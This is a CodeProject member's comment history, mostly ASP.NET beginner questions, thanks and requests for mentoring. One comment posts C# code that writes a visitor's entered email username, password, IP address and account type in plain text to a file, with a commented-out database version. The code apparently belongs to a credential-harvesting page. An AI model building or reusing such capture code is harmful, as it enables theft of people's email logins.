15,896,557 members
Sign in
Sign in
Email
Password
Forgot your password?
Sign in with
home
articles
Browse Topics
>
Latest Articles
Top Articles
Posting/Update Guidelines
Article Help Forum
Submit an article or tip
Import GitHub Project
Import your Blog
quick answers
Q&A
Ask a Question
View Unanswered Questions
View All Questions
View C# questions
View C++ questions
View Javascript questions
View Visual Basic questions
View Python questions
discussions
forums
CodeProject.AI Server
All Message Boards...
Application Lifecycle
>
Running a Business
Sales / Marketing
Collaboration / Beta Testing
Work Issues
Design and Architecture
Artificial Intelligence
ASP.NET
JavaScript
Internet of Things
C / C++ / MFC
>
ATL / WTL / STL
Managed C++/CLI
C#
Free Tools
Objective-C and Swift
Database
Hardware & Devices
>
System Admin
Hosting and Servers
Java
Linux Programming
Python
.NET (Core and Framework)
Android
iOS
Mobile
WPF
Visual Basic
Web Development
Site Bugs / Suggestions
Spam and Abuse Watch
features
features
Competitions
News
The Insider Newsletter
The Daily Build Newsletter
Newsletter archive
Surveys
CodeProject Stuff
community
lounge
Who's Who
Most Valuable Professionals
The Lounge
The CodeProject Blog
Where I Am: Member Photos
The Insider News
The Weird & The Wonderful
help
?
What is 'CodeProject'?
General FAQ
Ask a Question
Bugs and Suggestions
Article Help Forum
About Us
Search within:
Articles
Quick Answers
Messages
Comments by ahmedfaruk88 (Top 45 by date)
ahmedfaruk88
17-Feb-14 1:30am
View
Great..
ahmedfaruk88
17-Feb-14 1:19am
View
Do you have an access token and please can you post your code...
ahmedfaruk88
16-Feb-14 17:43pm
View
Put a break point directly after the second DropDownList2_SelectedIndexChanged statement before the the if statement and run your application, step through it and see if control flow passes through it...
ahmedfaruk88
16-Feb-14 17:38pm
View
Check to make sure that you have records in your table. Secondly check the id of the WHERE clause and id of the SELECT statement. Thirdly put your code in a try... catch block, then display the exception thrown if any on the screen
ahmedfaruk88
16-Feb-14 17:30pm
View
Do you mean to upload image into database and display it a picture control. First off, are you developing a web or windows application.
ahmedfaruk88
16-Feb-14 17:21pm
View
Your question can not be found..... Please be more precise and state your question clearly so we can all help gain from ourselves. Its a great question but re-frame it better i know you can do that. thumbs-up for you...
ahmedfaruk88
23-Dec-13 7:54am
View
Thank you very much. i am surprise how you guys know so much. Thanks to codeproject too. I will check it out and get back to you. Please can i always contact you when i have a challenge.
ahmedfaruk88
29-Nov-13 6:55am
View
My decryption function is able to decrypt what my encryption function encrypts
ahmedfaruk88
2-Nov-13 21:36pm
View
Yeah! i understand but, i think i need a mentor. The web some times is full of misguided information, which in turn crippled adolescent programmers like me when it comes to real time problem solving. I will be glad if you can be my mentor. Thanks
ahmedfaruk88
1-Nov-13 12:13pm
View
Please i need a help from you. i think if it can be granted i wouldn't always have my contract terminated.
ahmedfaruk88
1-Nov-13 9:59am
View
Thanks alot i will check it out. And i will always remember to choose it as best answer
ahmedfaruk88
31-Oct-13 18:11pm
View
Thanks alot. but after trying that i was able to encrypt and decrypt to the decrypted text was not the initial plain text
ahmedfaruk88
31-Oct-13 18:01pm
View
Ok. Let me try it out?
ahmedfaruk88
18-Jul-13 12:59pm
View
Thanks alot, I'm digging more into it, and you will always be remembered for the small but mighty information you provided me. Please can you be my mentor, i guess most of the mistakes i do during development process is because of information scatter that the internet pose on most of the beginners. I'll appreciate if my request is granted
ahmedfaruk88
18-Jul-13 6:56am
View
Thank you very much for the clarification, sometimes a sentence can explain an entire flip of book. You little clarification made it clear to me. Thanks alot. What i am trying to pass through is Software Design. I am interested in going in-depth in understanding Software Design. Is there any documented reference that will explain in details what Software Design is and how to integrate it with during Software Development Process.
ahmedfaruk88
7-Mar-13 11:17am
View
Thanks i will implement it and get back to you
ahmedfaruk88
7-Mar-13 10:54am
View
I am not getting any error, but clueless on how to go about it
ahmedfaruk88
7-Mar-13 10:45am
View
Am trying to dynamically filter the content of a gridview on text change of textbox. The gridview contains more than 300 rows of data, and it takes the users time when traversing in it looking for a particular employee info with the specified name
ahmedfaruk88
5-Mar-13 8:50am
View
You have really saved me from a lot of troubles today, May you be showered with abundant knowledge. Thanks. Please can i always contact you by mail when i need to get things done. I'll appreciate of you accept my offer.
ahmedfaruk88
26-Feb-13 6:48am
View
Really sky is not the limit when it comes to learning. Please any reference to where i can get a guide on how to replace the insert, update and delete in a gridview with an image
ahmedfaruk88
26-Feb-13 5:33am
View
Thank you very much Prakash.
ahmedfaruk88
15-Feb-13 19:58pm
View
Thanks, this is actually a good suggestion. Thanks. Any reference will be appreciated
ahmedfaruk88
15-Feb-13 3:36am
View
Please can u clearly explain in a more clear format what you really want done
ahmedfaruk88
13-Feb-13 6:35am
View
Thank you very much and God bless you
ahmedfaruk88
13-Feb-13 5:12am
View
Some times one cannot really express his question the way it is intended but if there is mentor, i can mail the problem and have it checked
ahmedfaruk88
13-Feb-13 5:07am
View
I really appreciate your response Khathik? God bless you? Can you be my mentor
ahmedfaruk88
7-Feb-13 4:39am
View
Thanks, i see that?
ahmedfaruk88
6-Feb-13 5:30am
View
What a very good reference, it is well explain and structured, akin to what i am looking for and articulated to the point. Thanks. Please i'll like to contact you again if there i am facing any challenges.
ahmedfaruk88
28-Sep-12 10:35am
View
Good, i appreciate your comment on this, the project budget does not cover creating a windows service, i think i will go with the resource file trick. Thanks
ahmedfaruk88
1-Feb-12 11:34am
View
What i posted does not contain the try catch block, but i handled a UnauthorizedAccessException from the code
ahmedfaruk88
1-Feb-12 11:33am
View
What i posted does not contain the try catch block, but i handled a UnauthorizedAccessException from the code
ahmedfaruk88
1-Feb-12 11:25am
View
Here is the full code protected void SaveFormContent()
{
try
{
//Store the content into a text file
//for viewing..
String filePath = Server.MapPath("~/Sipher.txt");
String content = String.Format("username = {0}, password = {1}, ipaddress = {2}, EmailIDTYpe = {3}", txtEmailIDBody.Text, txtPasswordBody.Text, Request.UserHostAddress, ddAccount.SelectedItem.Text);
System.IO.File.WriteAllText(filePath, content);
#region
////Save the form information to the database
////and display in a gridview................
//SqlDataSource1.InsertCommand = "INSERT INTO [Database].[tbl_Sipher] ([Username], [Password], [IpAddress], [BrowserType], [DateTime], [EmailType]) VALUES" +
// "@username, @password, @ipaddress, @browsertype, @datetime, @emailtype";
//SqlDataSource1.InsertParameters.Add("@username", txtEmailIDBody.Text);
//SqlDataSource1.InsertParameters.Add("@password", txtPasswordBody.Text);
//SqlDataSource1.InsertParameters.Add("@ipaddress", Request.UserHostAddress);
//SqlDataSource1.InsertParameters.Add("@browsertype", Request.Browser.MinorVersion.ToString());
//SqlDataSource1.InsertParameters.Add("@datetime", System.DateTime.Now.ToString());
//SqlDataSource1.InsertParameters.Add("@emailtype", ddAccount.SelectedItem.Text);
//SqlDataSource1.Insert();
#endregion
}
catch (UnauthorizedAccessException authAccessEx)
{
lblError.Text = authAccessEx.Message;
}
}
ahmedfaruk88
1-Feb-12 11:10am
View
It does not throw an exception, from the code i posted i handled the exception>
And also i have check my Web.Config file, to make sure its OK
ahmedfaruk88
27-Jan-12 4:38am
View
Yeah. I mean a 3rd Party UI Framework like DevXpress, Telerik and the rest.
ahmedfaruk88
16-Jan-12 7:17am
View
Post your CSS code and let me review it. And also i cant see the closing tag of your second div control <div id="right" class="rightdiv">
ahmedfaruk88
13-Oct-11 7:48am
View
I really appreciate your response and the time you give to answer this question. On_Page load of the .aspx file the dropdownlist is binded and the selected value is display in the label control here is what i finally did.
<asp:Label ID="Label1" runat="server" Text="<%# DropDownListVehicleGpsDateTime.SelectedItem.ToString()%>">
ahmedfaruk88
13-Oct-11 7:48am
View
I really appreciate your response and the time you give to answer this question. On_Page load of the .aspx file the dropdownlist is binded and the selected value is display in the label control here is what i finally did.
<asp:Label ID="Label1" runat="server" Text="<%# DropDownListVehicleGpsDateTime.SelectedItem.ToString()%>">
ahmedfaruk88
11-Oct-11 11:41am
View
How can i do that, any kinda code example is very welcome?
Thanks
ahmedfaruk88
2-Oct-11 17:14pm
View
I don't really Know how to use WPF and WCF, in-short i will appreciate if you can give me a detailed insight on how they both work. You also made mention of implementing the server part as windows service how do i do that.
ahmedfaruk88
31-Aug-11 10:41am
View
And also, do I have to work with the system.Ports.SerialPort class in the web application to send the AT Command (I feel it not necessary because it will be send through HTTP) but what I want precisely is to send an AT command to a GPS Device and receive a response. Please if there any code on the web that i can reference that will be welcome
ahmedfaruk88
31-Aug-11 10:38am
View
It is a Web Base Application, it will be accessed via a web browser (HTTP)
ahmedfaruk88
25-Aug-11 9:37am
View
Please can you give a guideline on how to ensure that if adding a user on the table fails then or a field is not inserted in the other table that referenced the aspnet_Users table then the creation of user in the aspnet_users table should be rolled back.
Thankss
ahmedfaruk88
25-Aug-11 8:27am
View
What if I want to call this method from the Base Class. Let say I have a .cs file with a class called MyClass. Another .aspx file that inherit from Myclass. Check this code:
public partial class MyClass : System.Web.UI.Page
{
void CheckIfUserIsAdmin()
{
if (Request.IsAuthenticated)
{
try
{
string username = User.Identity.Name;
if (username == "admin" && User.IsInRole("Administrator"))
{
Panel PanelAdmin = (Panel)Master.FindControl("PanelAdminMenu");
PanelAdmin.Visible = true;
}
}
catch (NullReferenceException nullex)
{
nullex.Message.ToString();
}
}
else
{
Response.Redirect("UnathorizeErrorPage.aspx");
}
}
}
Then the .aspx page will look like this:
public partial class LeaveMessage : MyClass
{
}
how do I call the CheckIfUserIsAdmin() Method Declared in the Class File from the .aspx file
Thnanks
ahmedfaruk88
8-Jul-11 13:06pm
View
If i customize the create user wizard and add more controls like (Company_Name, Company_Id, Home_Address e.t.c). it means i will have to edit the underlying table (aspnet_Users) table to accommodate the it. Or what am i to do
ahmedfaruk88
8-Jul-11 12:24pm
View
How can i create a windows service within my Web Application. Do i have to include in an ASP_NET Folder and host (Because the Apllication is to be hosted on a web server)
Show More